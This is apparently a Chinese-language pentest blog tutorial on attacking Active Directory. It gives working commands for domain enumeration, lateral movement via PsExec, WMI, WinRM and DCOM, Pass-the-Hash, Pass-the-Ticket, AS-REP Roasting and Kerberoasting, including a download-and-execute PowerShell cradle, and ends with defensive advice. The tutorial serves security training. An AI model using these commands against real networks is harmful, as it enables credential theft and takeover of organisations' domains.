Skip to content

域渗透基础 — AD 域环境攻击与横向移动

Published:
12 min read

Active Directory(AD)是企业网络的核心基础设施,管理着组织中的用户、计算机、权限和策略。对于渗透测试人员而言,攻破域环境意味着能够控制整个企业网络。本文将从 AD 基础概念入手,系统讲解域环境信息收集、Kerberos 认证攻击、横向移动技术以及常见的域攻击手法,包括 Pass-the-Hash、Kerberoasting 等核心技术。

Active Directory 核心概念

域(Domain)与域控制器(Domain Controller)

域是 Active Directory 的基本管理单元,域控制器(DC)是运行 AD DS 服务的 Windows Server,负责存储目录数据库(NTDS.dit)并处理所有认证请求。

# 查看域信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# 获取域控制器列表
nltest /dclist:lab.local

# 查看域信任关系
nltest /domain_trusts

# 基本域信息
net group "Domain Admins" /domain
net group "Domain Controllers" /domain

组织单位(OU)与组策略(GPO)

OU 是 AD 中用于组织和管理对象的容器,GPO 则通过链接到 OU 来下发安全策略和配置。

# 查看 OU 结构
Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName

# 查看所有 GPO
Get-GPO -All | Select-Object DisplayName, Id, CreationTime

# 查看 GPO 的详细设置
Get-GPOReport -Name "Default Domain Policy" -ReportType Html -Path "C:\Temp\gpo_report.html"

关键 AD 对象

对象类型说明渗透测试关注点
用户账户域用户弱密码、SPN 设置、特权组成员
计算机账户域内机器不受约束的委派
服务账户运行服务的账户Kerberoasting 目标
安全组/分发组Domain Admins、Enterprise Admins
GPO组策略对象密码策略、脚本执行

域环境信息收集

BloodHound

BloodHound 是域渗透中最强大的信息收集和攻击路径分析工具,通过图数据库可视化展示域内的权限关系。

# 安装 BloodHound
# 方法一:apt 安装
sudo apt install bloodhound neo4j

# 方法二:Docker 安装(推荐 BloodHound CE 社区版)
curl -L https://ghst.ly/getbhce | docker compose -f - up

# 启动 Neo4j 数据库
sudo neo4j console
# 默认访问 http://localhost:7474 修改密码

# 启动 BloodHound GUI
bloodhound

数据收集 — SharpHound

# 在域内机器上运行 SharpHound 收集器
# 收集所有信息
.\SharpHound.exe -c All

# 指定域和收集方法
.\SharpHound.exe -c All -d lab.local --zipfilename bloodhound_data.zip

# 使用 PowerShell 版本
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\

# 使用 bloodhound-python 远程收集(从 Linux 攻击机)
bloodhound-python -d lab.local -u testuser -p 'Welcome1!' -ns 10.10.10.100 -c All

BloodHound 攻击路径分析

在 BloodHound 中导入数据后,可以使用内置查询发现攻击路径:

PowerView

PowerView 是 PowerSploit 框架中的 AD 枚举模块,提供了大量域信息收集命令。

# 导入 PowerView
Import-Module .\PowerView.ps1
# 或使用内存加载
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/PowerView.ps1')

# 域基本信息
Get-Domain
Get-DomainController
Get-DomainPolicy

# 用户枚举
Get-DomainUser | Select-Object samaccountname, description, memberof
Get-DomainUser -SPN  # 查找设置了 SPN 的用户(Kerberoasting 目标)
Get-DomainUser -AdminCount  # 查找管理员账户

# 组枚举
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty member
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# 计算机枚举
Get-DomainComputer | Select-Object name, operatingsystem, dnshostname
Get-DomainComputer -Unconstrained  # 查找不受约束的委派

# 共享枚举
Find-DomainShare -CheckShareAccess

# 查找当前用户有本地管理员权限的机器
Find-LocalAdminAccess

# GPO 枚举
Get-DomainGPO | Select-Object displayname, gpcfilesyspath

Kerberos 认证流程

理解 Kerberos 认证是掌握域攻击技术的基础。Kerberos 认证分为三个阶段:

  1. AS-REQ / AS-REP — 用户向 KDC 请求 TGT(票据授权票据)
  2. TGS-REQ / TGS-REP — 用户使用 TGT 向 KDC 请求服务票据(ST)
  3. AP-REQ / AP-REP — 用户使用 ST 向目标服务进行认证
用户  ──AS-REQ(用户Hash加密时间戳)──>  KDC(域控)
用户  <──AS-REP(TGT, 用krbtgt Hash加密)──  KDC
用户  ──TGS-REQ(TGT)──>  KDC
用户  <──TGS-REP(ST, 用服务Hash加密)──  KDC
用户  ──AP-REQ(ST)──>  目标服务

这个认证流程中的每个环节都有对应的攻击手法,后文将详细讲解。

横向移动技术

在域环境中获取凭据后,需要通过横向移动来扩大控制范围,最终达到域控制器。

PsExec

PsExec 通过 SMB 协议在远程机器上创建服务来执行命令。

# impacket-psexec(推荐,支持 Pass-the-Hash)
impacket-psexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101

# 使用 NTLM Hash
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/administrator@10.10.10.101

# Sysinternals PsExec
PsExec.exe \\10.10.10.101 -u lab\administrator -p P@ssw0rd! cmd.exe

# CrackMapExec 批量执行
crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd!' --exec-method smbexec -x "whoami"

WMI 远程执行

# impacket-wmiexec
impacket-wmiexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101

# 使用 Hash
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/administrator@10.10.10.101

# PowerShell WMI 远程命令
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\output.txt" -ComputerName SRV01 -Credential (Get-Credential)

WinRM 横向移动

# PowerShell Remoting
Enter-PSSession -ComputerName SRV01 -Credential lab\administrator
Invoke-Command -ComputerName SRV01 -ScriptBlock { whoami; hostname } -Credential lab\administrator

# evil-winrm
evil-winrm -i 10.10.10.101 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'

DCOM 远程执行

# impacket-dcomexec
impacket-dcomexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101

# PowerShell DCOM
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.101"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Temp\dcom_output.txt","Minimized")

横向移动工具对比

方法所需端口需要的权限隐蔽性日志痕迹
PsExec445 (SMB)本地管理员服务创建事件
WMI135 + 动态端口本地管理员WMI 事件
WinRM5985/5986远程管理权限PowerShell 日志
DCOM135 + 动态端口本地管理员较少
RDP3389RDP 用户组登录事件

Pass-the-Hash(PTH)

Pass-the-Hash 允许攻击者使用用户的 NTLM Hash 而非明文密码进行认证,是域渗透中最常用的技术之一。

# CrackMapExec PTH
crackmapexec smb 10.10.10.0/24 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0' --local-auth

# impacket 工具集 PTH
impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101
impacket-smbexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101

# evil-winrm PTH
evil-winrm -i 10.10.10.101 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'

# xfreerdp PTH(RDP Pass-the-Hash,需要 Restricted Admin 模式启用)
xfreerdp /v:10.10.10.101 /u:administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0

Pass-the-Ticket(PTT)

Pass-the-Ticket 使用窃取的 Kerberos 票据进行认证,不需要密码或 Hash。

# 使用 Mimikatz 导出当前会话的票据
mimikatz # sekurlsa::tickets /export

# 查看导出的票据
dir *.kirbi

# 注入票据到当前会话
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-administrator@krbtgt-LAB.LOCAL.kirbi

# 使用 Rubeus 进行 PTT
.\Rubeus.exe ptt /ticket:ticket.kirbi

# 验证票据已注入
klist

# 现在可以直接访问目标资源
dir \\DC01\C$

AS-REP Roasting

当域用户的 “不要求 Kerberos 预认证” 选项被启用时,攻击者可以在不知道密码的情况下获取该用户的 AS-REP 响应,其中包含可离线破解的加密数据。

# 使用 impacket 获取 AS-REP Hash
impacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 10.10.10.100 -format hashcat -outputfile asrep_hashes.txt

# 使用已知凭据枚举并获取
impacket-GetNPUsers lab.local/testuser:'Welcome1!' -dc-ip 10.10.10.100 -request

# 使用 Rubeus(在域内机器上)
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# PowerView 查找不要求预认证的用户
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# 使用 Hashcat 破解 AS-REP Hash
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# 使用 John the Ripper
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Kerberoasting

Kerberoasting 针对设置了 SPN(Service Principal Name)的域用户账户。攻击者可以请求这些账户的服务票据(TGS),然后离线破解票据中的加密部分以获取明文密码。

# 使用 impacket-GetUserSPNs
impacket-GetUserSPNs lab.local/testuser:'Welcome1!' -dc-ip 10.10.10.100 -request -outputfile kerberoast_hashes.txt

# 使用 Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# 针对特定用户
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:svc_hash.txt
# PowerView 查找 Kerberoastable 用户
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname

# 使用 PowerShell 原生方法请求 TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/srv01.lab.local:1433"
# Hashcat 破解 Kerberoast Hash
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

安全建议与防御措施

  1. 强密码策略 — 服务账户使用 25 位以上的强密码,域管理员密码定期轮换
  2. 限制特权账户 — 减少 Domain Admins 组成员,使用分层管理模型
  3. 启用 Kerberos 预认证 — 确保所有账户启用 Kerberos 预认证
  4. 监控 Kerberoasting — 监控异常的 TGS 请求(Event ID 4769)
  5. 使用组管理服务账户(gMSA) — 自动轮换密码,防止 Kerberoasting
  6. 限制横向移动 — 使用 Windows 防火墙和网络分段限制工作站间通信
  7. 部署 LAPS — 使用 Local Administrator Password Solution 管理本地管理员密码
  8. 启用 Protected Users 组 — 防止 NTLM 认证和凭据缓存
  9. 监控 BloodHound 收集行为 — 检测大量 LDAP 查询和 SMB 会话枚举

总结

域渗透是 Windows 渗透测试的高级阶段,也是企业网络安全评估的核心环节。本文涵盖了域渗透的关键技术:

在实际域渗透中,通常遵循 “信息收集 → 获取初始凭据 → 横向移动 → 提权到域管理员” 的攻击链路。BloodHound 的攻击路径分析能大幅提升这一过程的效率。下一篇文章将深入 Windows 后渗透阶段,讲解 Mimikatz 密码提取和票据攻击技术。